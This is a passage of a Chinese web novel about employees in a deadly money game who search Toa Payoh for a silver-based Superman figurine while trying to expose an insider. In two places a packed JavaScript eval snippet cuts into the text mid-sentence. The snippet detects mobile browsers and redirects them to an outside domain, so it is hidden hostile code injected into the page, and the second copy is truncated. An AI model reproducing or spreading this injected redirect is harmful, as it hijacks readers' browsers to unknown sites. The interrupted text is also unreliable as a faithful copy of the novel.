凯文:“1/6的概率,我们的运气也太差了。” 佘孔渝:“这个内鬼到底是谁呀?” 众人看着彼此。按照目前的情况来看,的确是内鬼占了优势。 “我说,你们真的都仔细找了吗?”肌肉男说着,怀疑地看向了短发妹:“会不会有人漏掉了乞丐没看见?” “不可能的,”短发妹:“如果真心想找是不可能看漏的,因为没有哪个乞丐会跑到不显眼的地方去乞讨。” 目标乞丐在内鬼负责的区域,所以没有人能找到,这是目前最合理的解释。 佘孔渝:“嗯……那我们现在该怎么办?” 肌肉男看了看时间:“现在是2点,我们还有时间。” 任务结束的时间是晚上9点。 肌肉男:“很简单,下午所有人换一个区域再找一遍。我们不用管谁是内鬼,只要我们搜索得够仔细绝对能找到。” 王嘉华:“啊?那不是又得花一遍钱?” 大巴窑的乞丐全都是一个德行,不给钱是不可能知道他的信息的。 肌肉男看着王嘉华:“你还有别的办法吗?”王嘉华摇了摇头。 佘孔渝:“可是你们有没有感觉,这附近的乞丐好像变多了?” “的确,”凯文看着周围:“总感觉好像别的地方的乞丐也在往这里聚集。” 这无疑是增大了搜索的难度。 短发妹没有说话,只是静静地看着每个人的表情。眼镜男还在一旁撕角质,似乎对众人的谈话漠不关心。 肌肉男:“所以我们得加快速度了,不然拖得越久就越难找。” …… 很快,安排好行动后,每个人都前往了各自的新街区展开搜索。 王嘉华抓着自己的钱包,站在人行道的中央,看了看这片街区。 “这就是我下午负责的街区。我记得上午的时候,这片街区是那个短发的女孩负责的……如果她就是内鬼的话,那我们要找的玩具很可能就在这里!” 凯文给的钱还有一些剩余,但王嘉华已经在考虑还要不要继续搜索:“可如果那个女孩不是内鬼,那么玩具就在其他人负责的街区中,这样的话,我在这片街区无论花多少钱都不可能找到玩具,与其浪费这些钱,为什么不直接存进银行卡,等着明天的翻倍奖励呢?” 可王嘉华转念又想:“万一玩具真的在我这个区域里,而我为了贪这点钱导致任务失败,那等待我的就是那个恐怖的猎杀之夜……” “一个星期内,你会死在昏暗的酒店。”反复踌躇之间,无名大师说的那句话像一记闷棍打在王嘉华身上。 “可想要获得最后的胜利,比的还是银行卡的余额。如果不想方设法攒钱,就算活下来也没有意义,况且我还有一亿元的欠款要还,还不上这笔钱的话,我想不到能活着离开新加坡的办法。” “那个女孩到底是内鬼吗?有什么办法能确定这件事吗?我记得刚刚下船的时候,那个女孩回了一趟会议室……她去做什么了呢?” 王嘉华在原地思考着,突然一个女孩轻盈的声音从他身后传来:“王嘉华。” 王嘉华回头看去,正是那个短发的女孩:“啊!是你!” 短发女孩走上前,双手插在口袋里,语速很快,但语气很温和:“我叫陈双赢,我需要你的帮忙。” 6. 第五章 第五章·模型玩具2 王嘉华:“你怎么知道我的名字?” 陈双赢:“凯文告诉我的。” 陈双赢,20岁,女。 “你说你需要我的帮忙,具体是做什么?”王嘉华戒备地看着陈双赢。 陈双赢:“我看得出来你不是内鬼,我也不是,但这样下去内鬼恐怕就要获胜了。” 王嘉华:“为什么这么说?” 陈双赢:“因为内鬼的计谋已经生效了。” 王嘉华:“内鬼的计谋?” …… 与此同时。各处的街区。 “什么?300块!”肌肉男对着面前的乞丐吼道。 乞丐:“给我300块,我就告诉你玩具的事。” “你怎么知道我在找玩具?我还什么都没说啊?”佘孔渝看着面前的乞丐问道。 “这……这到底是怎么回事?”凯文站在人群中央,他一眼望去,几乎每个路口都并排坐着好几个乞丐,乞丐数量似乎比上午的时候翻了3倍。 …… 陈双赢:“内鬼想要看到的,是这个街区所有的乞丐都知道有一帮人在重金寻找一个玩具,让所有的乞丐都知道这个玩具的对于这帮人来说非常的贵重。” 王嘉华:“你的意思是,内鬼在暗地里哄抬玩具的价格,让我们更加难以找到?” 陈双赢:“消息在不断扩散,连不在大巴窑的乞丐都知道了这件事,全都跑过来想要参与这场盛大的讹钱活动。” 王嘉华:“难怪乞丐越来越多了!” 陈双赢看着周围的乞丐说:“而这些乞丐,95%都是同属于一个帮派的。一旦有消息,整个帮派全都会知道。” 看着路边那个袖口随风飘荡的乞丐,王嘉华突然想起来,他之前见到的所有乞丐,除了大师,其余全都是残疾人。 王嘉华:“这个帮派的标志,不会就是残疾吧?” “我已经打听过了,帮派的名字叫流人帮,”陈双赢:“这些乞丐也并不是残疾人,仔细看你会发现,他们的腰上都绑着铁链。” 王嘉华回想了一下,他们的腰部好像的确隐约能看到锁链的形状。 陈双赢:“这些乞丐的手或脚被铁链捆在了腰上,然后用衣物挡住,所以看起来就像缺了手脚一样。帮会上层的人这样做一是为了控制住这些乞丐,二是为了伪装成残疾人博取路人的同情。” 王嘉华:“可是,靠锁链就能控制住这些乞丐吗?” 陈双赢:“这些铁链都是装了密码锁的,想要摆脱这些铁链,就必须完成帮会的任务。” 王嘉华:“帮会的任务?是什么?” “钱。”陈双赢:“这些乞丐都是从菲律宾或印尼偷渡过来的,他们想要到达新加坡,就必须依靠流人帮的船。这个船票并不便宜,付得起船票的人就能摆脱流人帮的控制,而付不起船票的人,就会被绑上铁链强迫行乞,等讨够了船票的钱才能解除铁链获得自由。这就是这些乞丐的由来。” “难怪有这么多看起来像残疾人的乞丐。”王嘉华:“这么说,这些流人帮的乞丐全都知道我们在找玩具的事了?” 陈双赢:“应该是的。如果继续按照律师说的那套方案搜索,在天黑之前我们几乎是不可能找到那个玩具的。” 王嘉华:“那我们该怎么办?难道没有对策了吗?” 王嘉华绝对不想进入猎杀环节。 “这就是我来找你的目的。”陈双赢:“我想要证实一件事情,这需要你的帮助。” 王嘉华:“我想先确认一下,你不是内鬼吧。” 陈双赢:“你觉得呢?” “内鬼已经做了这么多事,没有必要再来骗我了。”王嘉华思考了一会,说:“好,我该怎么帮你?” 陈双赢:“那个超人模型的玩具,网上没有找到,但实体店或许有卖。” 王嘉华:“你的意思是?” 陈双赢:“大巴窑一共有14个玩具店,我需要你帮我一个个去问,看看哪个玩具店有卖这个超人模型。” 王嘉华:“我懂了,那你呢?” 陈双赢:“我还有别的事情要处理。你如果找到了,直接电话联系我。一定要快。” 王嘉华:“没问题!” 两人分头行动。 …… 运气很好,王嘉华很快就在公园旁的一个商场的玩具店找到了一摸一样的超人模型,但马上王嘉华就发现了异样:“老板,你卖的这个模型好像没有底座?” 玩具店老板:“这一个系列的模型都是没有底座的。” 王嘉华看了看货架上其他的模型玩具,的确都是没有底座的。 “不管这么说,先告诉陈双赢吧。”王嘉华立刻电话打给了陈双赢。 陈双赢:“价格是多少?” 王嘉华:“一摸一样的超人,价格是40元,但是没有底座。” 陈双赢:“好,我知道了。” 王嘉华:“怎么样?要买吗?” 陈双赢:“不用,我只要知道价格就行了。先回中央公园汇合吧。” …… 不久,中央公园。 王嘉华:“啊?你不是在找底座吗?我以为你打算做一个假的交给杰西卡。” “骗不到杰西卡的。”陈双赢摇了摇头。 王嘉华:“你怎么知道?” 陈双赢:“在你们下船后,我又单独回到了会议室。” 王嘉华想起了这件事:“对啊,你那个时候回去做什么?” “为了验证你刚刚的这个想法。”陈双赢:“我把那个3D打印的复制品直接交给了杰西卡。” 王嘉华:“然后被拒收了?” “是的,一秒就拒收了。”陈双赢:“所以我们还是得找到真品,找到那个捡到了玩具的乞丐,只不过我们可以用一个更有效率的搜索方法。” 王嘉华:“什么办法?” …… 肌肉男这边。 肌肉男指着面前的乞丐威胁道:“我已经给了你500块了,你最好真的有照片上的这个模型玩具。” “真的有真的有!请相信我!”说着,乞丐从他身后的包囊中拿出了一个超人模型——红色的紧身衣,蓝色的披风,和玩具店里卖的模型玩具一摸一样。 “哈?你耍我呢?”肌肉男怒斥着,抢过乞丐手里的模型直接砸在了地上:“这个连底座都没有!这明明就是你刚刚从玩具店买的!等等我上午是不是见过你?” …… 陈双赢自信地说:“两个问题,第一,你有没有想过,杰西卡是根据什么来分辨真假的呢?” 王嘉华回忆起来,杰西卡说过,那个3D打印的复制品,颜色、大小、形状与真品完全一样。 王嘉华:“如果能当场看出区别的话,那就只有材料了。” “没错,”陈双赢:“第二个问题,这个模型玩具的零售价只有40元,可为什么真品的价值却高达1000元?” “是啊,我从来没想过,为什么一个小小的模型玩具会这么贵重?”王嘉华思考着:“这两者的区别,难道是……底座?对,玩具店卖的模型全都没有底座。” 陈双赢:“那个3D打印的复制品,你还记得底座是什么颜色的吗?。” 王嘉华惊醒:“是银色的!难道他们的价值区别就是那个底座?” 陈双赢:“我测绘出了那个底座的体积。如果底座是足银的,根据今天市面上足银的价格计算,那个底座的价格正好是960新币。” 王嘉华:“960元,再加上模型本体的40元,正好就是1000元!” 陈双赢:“所以现在基本可以确定,那个真品的底座是足银的。” 王嘉华:“厉害!”。 银制材料,任何人一眼就能分辨出来。 王嘉华:“任务上的说明是,这个模型玩具是一个月前遗失的,也就是说,那个捡到了玩具的乞丐并没有立刻把玩具卖掉,而是放在身上保留了一个月。” “我刚刚打听到了,”陈双赢:“船票的价格正好是1000元新币。流人帮的那些乞丐一旦有了足够的钱,一定会立刻赎身换回自由。” 王嘉华:“也就是说,捡到玩具的乞丐一定不是流人帮的乞丐!” 陈双赢:“流人帮的乞丐最大的特点就是假装残疾人,这样一来,所有带着铁链的‘残疾’乞丐就全都可以排除了!” 如此一来,95%的乞丐都可以直接排除。 时间已经来到了下午5点,夜色开始降临。 陈双赢:“整个大巴窑再搜索一遍,只要不是流人帮的乞丐,剩下的乞丐并不多,靠我们两人足够了。” 王嘉华:“我知道了!” 天空越来越暗,行人也越来越多,两个掌握着胜负关键的人身影分别穿梭在不同的人海中。 一个穿着羽绒服马甲的落魄男人坐在中央公园的某处,他前面的碗盆中并没有多少硬币。四处张望的王嘉华目光锁定到了这个男人身上。 王嘉华刚要走过去,却又立刻愣在了原地——此时,眼镜男正傻笑着,站在了羽绒服乞丐的面前,露出了他那排缺掉了门牙的牙齿。两人正对视着,没有人注意到王嘉华。 “你穿得不错嘛,根本不像个乞丐,害得我上午把你漏了。”眼镜男一边调侃着羽绒服乞丐,一边准备拿出手机,突然被王嘉华的手按了下去。 “嗯?”眼镜男侧头看着王嘉华。 王嘉华:“能不能麻烦把这个让给我?” 眼前的这个穿着羽绒服马甲的乞丐,很有可能就是真正捡到玩具的那个人。 王嘉华现在最担心的是,如果眼镜男是内鬼,一旦他拿到了真正的玩具,他就会直接把玩具破坏掉,这样的话,一切努力就都白费了。 眼镜男按着眼镜,凑上前盯着王嘉华:“你这家伙,好像跟那个女孩走得很近嘛?” 王嘉华:“啊?” 眼镜男:“你不知道那个女孩的来历吧?” “你说陈双赢?”王嘉华一脸茫然地看着眼镜男。 眼镜男若无其事地说:“只要有她在,你想在这场比赛中获胜是不可能的。你跟她走那么近,恐怕已经被她骗了吧。” “你的意思是,她才是内鬼?”王嘉华回顾着刚刚发生的一切:“不可能……如果她真的是内鬼,如果她想让任务失败,那她无论如何都没必要帮我做到这种程度。” 相比眼前的这个有点疯癫的眼镜胡渣男,王嘉华还是更愿意相信陈双赢,毕竟她的确做了很多帮助任务的事。 “啧啧,看来你已经彻底没救了。”眼镜男自信地傻笑着,让开了身位,瞄了一眼旁边的羽绒服乞丐:“既然你这么想要,这个就让给你来问呗。” 羽绒服乞丐呆呆地看着两个人:“你们到底在说什么?” 王嘉华走到乞丐面前:“请问你今天一整天都在这里吗?”, 乞丐:“是啊,怎么了?” 王嘉华拿出了手机:“请问你见过照片上的这个玩具吗?” 眼镜男站在旁边看着。 羽绒服乞丐:“果然是在找这个。” “你也知道我们在找这个玩具?”王嘉华:“你该不会也是流人帮的……但看起来不像啊?” 眼前的这个乞丐并不是残疾人,身上也没有绑着铁链的痕迹,看起来不是那种吃不上饭的乞讨者。 乞丐没有回答王嘉华,他慢慢拉开了羽绒服的拉链,从衣服内侧掏出了一个超人模型——红色的紧身服,蓝色的披风,银色的底座。 “有底座!这个是真品!”王嘉华睁大眼睛惊道。 眼镜男:“哈哈,这下有意思了!” …… 与此同时,陈双赢这边。 大街上人头攒动,陈双赢早已注意到,几个水手打扮的人隐藏在人群之中,跟在她的身后。 陈双赢继续向前走着。 …… 只展示了一秒,乞丐立刻拉上了羽绒服,把模型玩具藏了回去。 “就是这个!”王嘉华激动地说:“我需要这个玩具,请把他给我!” 眼镜男也走了过来。 乞丐看着两人许久,伸出右手比了一个3的数字:“3万元。” 王嘉华被这个数字吓傻了。 “3万?”眼镜男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780699|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你这是坐地抬价啊?” “我看这个玩具蛮精致的,当时捡来只是想留在身上。”乞丐冷漠地说:“我不是流人帮的,但他们的消息我也听说了,有一伙人在重金寻找这个玩具,想必就是你们吧。我就定价3万,不会提高也不会降低。” 眼镜男看了看王嘉华:“这家伙肯定是在哪听说了这个玩具的事。” 王嘉华纠结着说:“叫所有人过起来吧”。 很快,肌肉男,佘孔渝,陈双赢和凯文都收到了王嘉华发来的消息:“已找到玩具,速来中央公园集合。” “我这边遇到了点麻烦,暂时脱不开身。”王嘉华的手机收到了陈双赢的回信。 王嘉华对眼镜男说:“我们也去喷水池那边等他们吧。”说着,两人转身准备走,王嘉华突然注意到,乞丐的腿边摆着一个黑白相框,不是很显眼。 王嘉华仔细凑过去看了看,那个相框上是一个年轻女人的遗像。 “这是……?”王嘉华的心脏像是挨了一道雷劈。 “这是我的妻子,三个月前因车祸去世了。”乞丐:“我不想像其他乞丐一样,把自己的痛苦摆出来博取同情。她是一个非常简单的人,一场三万块的葬礼,对我和她来说都已经足够了。” 一股绝望的悲痛充斥着王嘉华的身体。王嘉华并不认识遗像上的女人,但他呆滞地站在原地看着这张遗照,很久无法移动。 …… 5点半,天空已经黑了一半,市区越来越热闹,街边的路灯和招牌都逐一点亮了。 中央公园的喷水池边,五个人围坐在了一起。 “王嘉华,你确定了吗?”肌肉男:“那个模型玩具是真品,而不是那些乞丐从玩具店买的?” 在意识到玩具的事情后,很多乞丐都跑去玩具店买了同一款超人的模型,企图以假乱真。 王嘉华肯定地说:“不会有错的,玩具店卖的都是没有底座的;刚刚那个我和眼镜都看清楚了,确实是有银色底座的真品。” “很好,那目标已经很明确了,我们现在只要做2件事。”肌肉男看着所有人:“首先,所有人一起凑出3万,也就是每个人先准备好6000块。” 王嘉华依然消沉地低着头。他钱包里钱已经不到2000块了,这全是凯文之前给他的。 凯文:“钱的问题解决了,那由谁去拿模型玩具呢?” “这就是第二件事,”肌肉男:“我们要选出一个不是内鬼的人,由此人去拿走那个模型玩具。” 眼镜男:“啧,还是避不开这个环节。” 非员工是不允许登上平等号游轮的,任务道具必须由南顿的员工亲手交给杰西卡。模型玩具非常脆弱,内鬼一旦有机会接触到模型玩具,就一定会破坏掉玩具,导致任务失败。 模型玩具必须交到一个值得信赖的员工手中,并由此人交给杰西卡。 佘孔渝:“如果那个缺席的女孩不是内鬼的话,那内鬼就在我们之中。” 肌肉男:“你们觉得应该选谁?” 所有人互相看着。 “内鬼不是很明显吗?”说着,凯文朝眼镜男抬了抬下巴:“不就是他吗?” 的确,在所有人眼中,最可疑的人是眼镜男。 眼镜男还在傻笑着:“啊?为什么是我?” 肌肉男:“因为上午的时候,负责搜索中央公园这片区域的就是你。” “而如今,捡到玩具的乞丐就在这片区域被发现。”凯文:“我刚刚问过了,那个穿着羽绒服的乞丐一整天都待在这个地方。” 眼镜男:“所以呢?” 肌肉男:“所以你根本就没去找模型玩具,因为你就是内鬼。” “不是啊,我上午有认真找的,就是漏看了而已。”眼镜男指着不远处的那个穿羽绒服的乞丐:“你看,那个人穿成那样,远远看去也不像个乞丐嘛!” 这个理由似乎并没有什么说服力,每个人都怀疑地看着眼镜男。 眼镜男:“我真的不是内鬼啊!” 凯文:“可你为什么这么在意别人对你的怀疑?” 眼镜男:“当然啊,你不在意吗?” “我不会在意的,因为这不是一个找内鬼的游戏,而是一个找好人的游戏。”凯文:“因为我知道其他人中也有好人,只要大家能选择一个好人就行,哪怕那个人不是我。” 找内鬼的游戏并不是查案追凶,大家不需要知道谁是凶手,更不需要找到指向凶手的证据,只需要选出所有人都不怀疑的那个人就行了。 眼镜男指着凯文:“那你说,你觉得谁是好人?” 肌肉男:“这样吧……把自己排除在外,每个人说一个自己最信任的人。” 佘孔渝看了看肌肉男,又看了看凯文:“那我选凯文,只要不是这个戴眼镜的疯子都行。” “我选王嘉华!”眼镜男举手说:“他一定不是内鬼!如果你们不选他,我就不给钱!” 所有人看着眼镜男和王嘉华。王嘉华还是低着头,一言不发。 眼镜男:“呵,反正你们不会选我,我不在乎。” 肌肉男捏了捏拳头:“你要是敢不出钱,我现在就给你一拳。” 眼镜男不甘示弱地站了起来:“你要是敢打我,我就向杰西卡举报你!哈!” “你别勉强他了,”佘孔渝按住了肌肉男的手:“他是内鬼的话无论如何都不会出钱的。” 肌肉男:“说的也是,那我也选凯文吧。至少到现在我没看出凯文有什么异常的举动。” 凯文:“没问题,交给我吧。” “既然你们都不选王嘉华,那我就退出!”说完,眼镜男一个大转身,疯疯癫癫地跑了。 水池边还剩4个人。 凯文:“又走了一个……那我们不是还要多出一点钱?” 肌肉男:“没办法,3万是一定要凑齐的。那个女孩没来,疯子又跑了,不过至少能基本确认疯子就是内鬼,多花点钱也无碍。” 佘孔渝点了点头。 “我觉得……”一直低头沉默的王嘉华突然抬起头,不太自信地说:“我觉得凯文才是内鬼。” 所有人都看着王嘉华。 7. 第六章 第六章·模型玩具3 另一处的街道。 跟踪者的脚步越追越近,陈双赢加快了步伐,朝着一条小巷子拐了进去。 没有人的小巷阴暗肮脏,角落上凌乱地摆着几个废弃的沙袋。巷子的彼端是一条死路,陈双赢回头看去,4个跟踪者已经将自己围住了。 “如果我没猜错,你们是流人帮的水手吧。”陈双赢双手插在口袋,面不改色地说。 “你这不是很清楚嘛?”水手:“你既然知道流人帮不好惹,还敢打听船票的事?” 陈双赢闭上眼睛,仔细倾听着周围,确认了周围没有其他人:“你们欺负这些难民,从穷人身上捞钱,不怕被查吗?” “偷渡本来就是违法的,我们是在保护新加坡,这个社会就是这样的。”水手:“不过你这样的小朋友肯定听不懂,只能用拳头教育你了。” “那我应该算是正当防卫咯,”陈双赢也轻蔑地笑了笑:“希望公司不会解雇我吧。” 4个水手掏出棍棒朝陈双赢挥来。陈双赢弯下腰,从地上的沙袋中抓了一把沙子挥向了前方。 水手们本能地闭上眼,停下了动作,下一刻,2个水手被不知从哪来的冲击撂倒,惨叫一声趴在地上。 另外一人勉强睁开双眼的瞬间,一把沙土埋进了他的嘴里,随后被一记回旋踢直击胸口,整个身体被打在墙上后痛苦地跪了下来。 最后一人终于看见了陈双赢的身影,刚要再次挥起棍棒,却发现手中的棍棒已经不见了。“我错了美女!”正当下一记棍棒直冲他的脸面而来时,他突然蹲了下来。 陈双赢收回了手中的棍棒,站在水手的面前。水手双手抱着头,颤抖地说:“大家都是混口饭吃,演一下就行了,没必要下手这么重吧……” 另外三个人倒在洒满了沙子的地上,痛叫着半天无法起身。 “你到底……是什么人?”满口沙土、趴在地上的水手一边咳着沙子一边问。 “新训班,听说过吧。”毫发无损的陈双赢拍了拍身上的灰尘:“希望流人帮以后能注意点,不要惹错人了。” …… 中央公园。所有人看着王嘉华。 凯文:“王嘉华,你现在钱包里的钱好像是我给你的吧。” 王嘉华:“是的。今天上午,当我快要把自己的钱用光的时候,是你出现在我的面前给了我3000块,所以我才能继续把我负责的区域探索完。” 凯文:“所以你想说什么?我擅自离开了自己的搜索区域,所以我是内鬼?” 肌肉男和佘孔渝看着两人。 凯文:“如果我是内鬼,我为什么要给你钱帮你完成探索?” 对于内鬼来说,如果看到王嘉华没钱,那么置之不理是最好的选择,帮助他继续探索,就会提高玩具被发现的概率。肌肉男和佘孔渝都这么想着。 “这些都不是问题,”王嘉华:“你离开自己的区域是为了检查我有没有认真工作,给我钱是为了帮助我完成探索……这些的确都是好人会做的事,这些都不是关键的事情。” 凯文:“那关键的事情是什么?” 王嘉华:“是面额。” 佘孔渝:“面额?” “凯文给我的3000块是3张1000元面额的钞票。”王嘉华:“他打开钱包的时候我看到了,里面厚厚的一叠全是1000元的钞票,没有其他的面额。” 凯文:“那又能说明什么?” “你们可以看看自己的钱包,”王嘉华看了看肌肉男和佘孔渝:“正常人钱包里的钱,一定是零零散散,面额有大有小。你们在打听情报的时候,会一上来就把1000元的大钞扔给乞丐吗?” 肌肉男:“当然不会。” 王嘉华:“而凯文钱包里的全是千元大钞,是因为他今早从提款机里取钱的时候就根本没想过要零钱。” 凯文沉默着。 “你知道流人帮的事吧。”王嘉华看着凯文:“你说过,你和你哥是从印度尼西亚偷渡过来的,那你一定知道流人帮的规矩。” 佘孔渝:“流人帮的规矩?那是什么?” “流人帮的乞丐,只要攒够数额的新币,就能赎身脱离控制,而这个数字,正好是1000。”王嘉华:“这个街区绝大多数的乞丐都是流人帮的,他们这些人一旦拿到了1000块,就会立刻去找流人帮的水手要回自由之身。” 所有人都看着凯文。 “凯文的目的,是将所有乞丐驱离大巴窑,”王嘉华:“他利用了这个规矩,把一千元扔给他见到的每一个乞丐,让他们全都离开大巴窑的街区。他可以用这种方法快速清空整个街区的乞丐,这样一来,不管谁捡到了玩具,我们都永远不可能找到他。” “的确。”肌肉男:“内鬼为了获胜,一定会不惜下血本,毕竟到了夜晚只要杀了人就能把钱赚回来。” 王嘉华:“而你之所以敢给我钱让我继续搜索,想必是因为你那时候就已经把我这个街区里的乞丐全都驱赶走了吧。只是你没想到,流人帮的乞丐们互传消息,又吸引了别的地方的乞丐跑来乞讨。” “这都是你猜的而已,王嘉华。”凯文:“钱包里全是整钞只是因为我刚好把零钱用完了而已。” 王嘉华低下头:“是的,这都是我猜的。” 凯文:“就凭这点你根本不能判定我就是内鬼!” “可我不需要判定你就是内鬼啊,”王嘉华:“你忘了你自己刚刚说的话?” 王嘉华转过头看着肌肉男和佘孔渝:“你们都听见了吧。” 肌肉男摸着下巴,点了点头。 “啊!”凯文懵了。 王嘉华:“这不是一个找内鬼的游戏,而是一个找好人的游戏。凯文,你为什么这么在意别人对你的怀疑?” 肌肉男:“我们不需要知道你和那个疯子两人谁是内鬼。” 佘孔渝:“既然都有内鬼的嫌疑,那么把你们两人排除不就行了。” 凯文看着王嘉华,现在才想起来,内心痛苦地懊悔着自己刚刚说的话。 “我把实话告诉你,凯文,面额也不是真正的关键,”王嘉华:“真正的关键,是你刚刚的反应和态度。” 王嘉华对凯文说:“在我刚刚指出你是内鬼时,如果你的第一反应不是反驳,而是回答‘无所谓,既然你怀疑我,那就选你吧,反正我认为内鬼就是那个疯子’。你要是真的这么回答,大家或许就不会怀疑你,反而会开始怀疑我了。” …… 与此同时,平等号。杰西卡坐在会议室的中央,看着圆桌对面抽着烟的普通保镖马威克。 “我已经查出来了,杰西卡。”威克轻笑着,单手撑在桌子上:“南顿制药最大的幕后投资人,世界屈指可数的超级大富豪、大慈善家——舍甫琴科。如果没有他的注资,‘方程式’的研发项目可能在一年前就已被经归档弃置了。” 杰西卡:“马威克,这艘船是南顿的办公场所,非工作人员请离开。” “不要这么见外嘛,我就是想来找你确认一下我的调查结果而已。”马威克:“一年前,舍甫琴科在吉隆坡的一栋百货大楼做公开宣讲,却遭遇了歹徒袭击。歹徒在商场里释放了黑山羊病毒的气体,还开枪射伤了很多人,包括舍甫琴科本人。据说呢,当时所有在场的人,凡是受伤流血的,后来全都确诊了黑山羊症。” 杰西卡:“你是卡尔德曼的人,按规矩,为了避嫌,我们南顿是不能和参与竞标的老板接触的。” “那就更不用担心了,我是自己想来见你,跟卡尔德曼无关。”马威克坐在了桌子上,翘着腿:“不过你们好像还得感谢那个歹徒,要不是他,舍甫琴科就不会感染黑山羊症,也就不会给南顿投那么多钱助你们完成‘方程式’的研究了。我说的对吗?” 杰西卡:“好了威克,你快出去吧,我的员工马上就要回来了。还有,会议室是禁止吸烟的。” 这时,陈双赢一个人从会议室的门口走了进来。 马威克看着陈双赢:“呵,你看起来还是老样子嘛。” …… 天空已经完全黑了,时间所剩不多。 佘孔渝拿着所有人凑齐的3万块,来到了羽绒服乞丐的面前,三个男人站在旁边看着。 一手交钱,一手交货,乞丐很爽快,把那个模型玩具交到了佘孔渝的手中。 按耐不住的凯文突然准备冲刺,朝佘孔渝手中的模型玩具冲了过去!被吓到的王嘉华急忙跳开,肌肉律师男一把抓住凯文将他按在了地上:“内鬼果然是你!” 佘孔渝站在原地,仔细打量着手中的模型玩具,表情突然呆住了。 “可惜啊,就差一点了,”王嘉华对地上的凯文说:“不过你的计谋的确是非常厉害了——散布玩具的消息,让所有的乞丐都知道我们在重金寻找这个东西,这样不仅提高了我们打听情报的成本,而且还会引来其他地方的乞丐过来混淆视听,这一招真是太危险了。” “啊?”被压在地上的凯文疑惑地看着王嘉华:“你在说什么啊?” 王嘉华:“嗯?什么意思?” 凯文:“我从来没散布过什么消息啊?” 肌肉男:“不是你干的?那怎么会有那么多乞丐知道玩具的事?” 正当三人困惑地看着彼此时,佘孔渝突然申请恍惚地走了过来:“不对啊!” “这个……这个也不是真品……”佘孔渝看着手中的模型玩具。 “怎么可能?这个模型玩具明明有底座,它不可能是从玩具店买的……等下!还有一个!”王嘉华看着佘孔渝手中的模型玩具,突然意识到了一件事。 佘孔渝:“这好像是……会议室里的那个3D打印的复制品!” 三人看着佘孔渝,同时露出了惊恐的眼神。 “3D打印的复制品……那不是一直放在会议室的桌子上吗?最后一个拿走这个复制品的人是谁?” 同一时刻,所有人的手机收到了杰西卡发来的消息:“目标道具已经上交,恭喜各位员工顺利完成今天的任务!你们可以回船了。” …… 平等号会议室,陈双赢把手中的真品——超人模型玩具放在了杰西卡的面前。 马威克:“不愧是你呀,陈双赢。” 杰西卡:“你怎么找到的?” 陈双赢:“只要排除流人帮,整个大巴窑剩下的乞丐一共就3个,上午10点半我就已经找到他了。” 早在上午10点,陈双赢就已经打听完关于玩具店和流人帮所有的信息,并精准锁定了目标乞丐的身份,随后花费1000元新币从目标乞丐那买回了真正的模型玩具。 杰西卡:“那你为什么现在才送过来?” 陈双赢:“当然是为了让他们继续搜索。” 一切都在陈双赢的计划中。 在乞丐群中散步玩具的消息,抬高玩具的价格;同时召集周边的乞丐过来,进一步提高打听情报的成本。 最后将3D打印的复制品交给穿着羽绒服的乞丐,再骗取王嘉华的信任,让他误以为羽绒服乞丐手中的玩具是真品,召集所有其他员工一起花重金买下。 所有的目的,都是为了最大程度地消耗对手的本金。 “这场比赛最终比的是谁钱多,”陈双赢:“翻倍的奖励,本金越多的人优势越大。今天我比你多1000块,明天就比你多2000块,后天就多4000块……只要第一天拉开了差距,越往后差距就会越大。” …… 中央公园。四个人瘫坐在地上,心情都不太好。而一旁的那个穿着羽绒服的乞丐也已经拿着三万块和妻子的遗照离开了。 此时此刻,王嘉华的钱包和银行卡全部空空如也,已经身无分文。 …… 会议室。 “既然都见过了,那我就不打扰了。”马威克站了起来,自信地朝着门外走去,经过陈双赢身边时,顺便拍了拍她的肩膀:“我不是在帮你,我只是在做自己的事。” 马威克离开了会议室。 陈双赢侧着头看着马威克:“这个人是谁啊?” …… 晚上9点,所有员工都回到了船上。不管怎么说,今天的任务成功完成了,没有进入猎杀之夜环节,对王嘉华来说是可以苟活一天。 王嘉华刚到自己房间的门口,陈双赢双手插在口袋,靠着墙侧头看着王嘉华,看起来就像早已经在那等他了。 王嘉华看着陈双赢:“被你骗了啊。” “被我骗了?我什么时候骗了你?”陈双赢:“我今天跟你说的不都是真实的事情吗?” 的确,流人帮的规矩是真的,模型的底座也的确是纯银的,陈双赢只不过是将她早已知道的真相告诉了王嘉华而已。 陈双赢:“王嘉华,你来这工作到底是为了什么?” 王嘉华:“为了什么?当然是为了钱啊。” 来这里的人,要么是为了翻倍奖励,要么是为了获得冠军并获得老板的巨额奖赏,总之最终目的都是为了钱——这似乎是大家的共识。 “别说谎了,”陈双赢:“你还有别的目的吧。” 王嘉华没有回答。陈双赢认真地表情让王嘉华感到了一阵压迫感。 陈双赢之所以能看出王嘉华在说谎,是因为她拥有谎言分析的能力——这是陈双赢独有的技能,能够通过面对面观察对方的行为细节,判断对方是否在说谎。 陈双赢靠着谎言分析的能力识破过无数次谎言,从未失误过。 王嘉华:“你找我到底想说什么?” 陈双赢:“退出吧,不管你的目的是什么。” “退出?”王嘉华:“你的意思是要我辞职,退出比赛吗?” “这是对你好,”陈双赢冷漠地说:“来这里的都是作恶多端的社会败类,王嘉华,你不适合出现在这里,你干不过这些人的。” 王嘉华沉默了一会,认真地说:“陈双赢,如果你想通过谈话就消灭一个对手,那你找错人了。” “赚钱的方式有很多,”陈双赢:“他们赌上生命来赚钱,是因为他们知道自己的命不值钱。王嘉华,你是个胆小怕事的人,在你眼中自己的命应该是最重要的,参加这场比赛对你来说是件愚蠢至极的事。” 陈双赢的眼中能看到王嘉华脚下的深渊。王嘉华没有说话,也不敢直视陈双赢的眼睛。 “我言尽于此,你仔细想清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 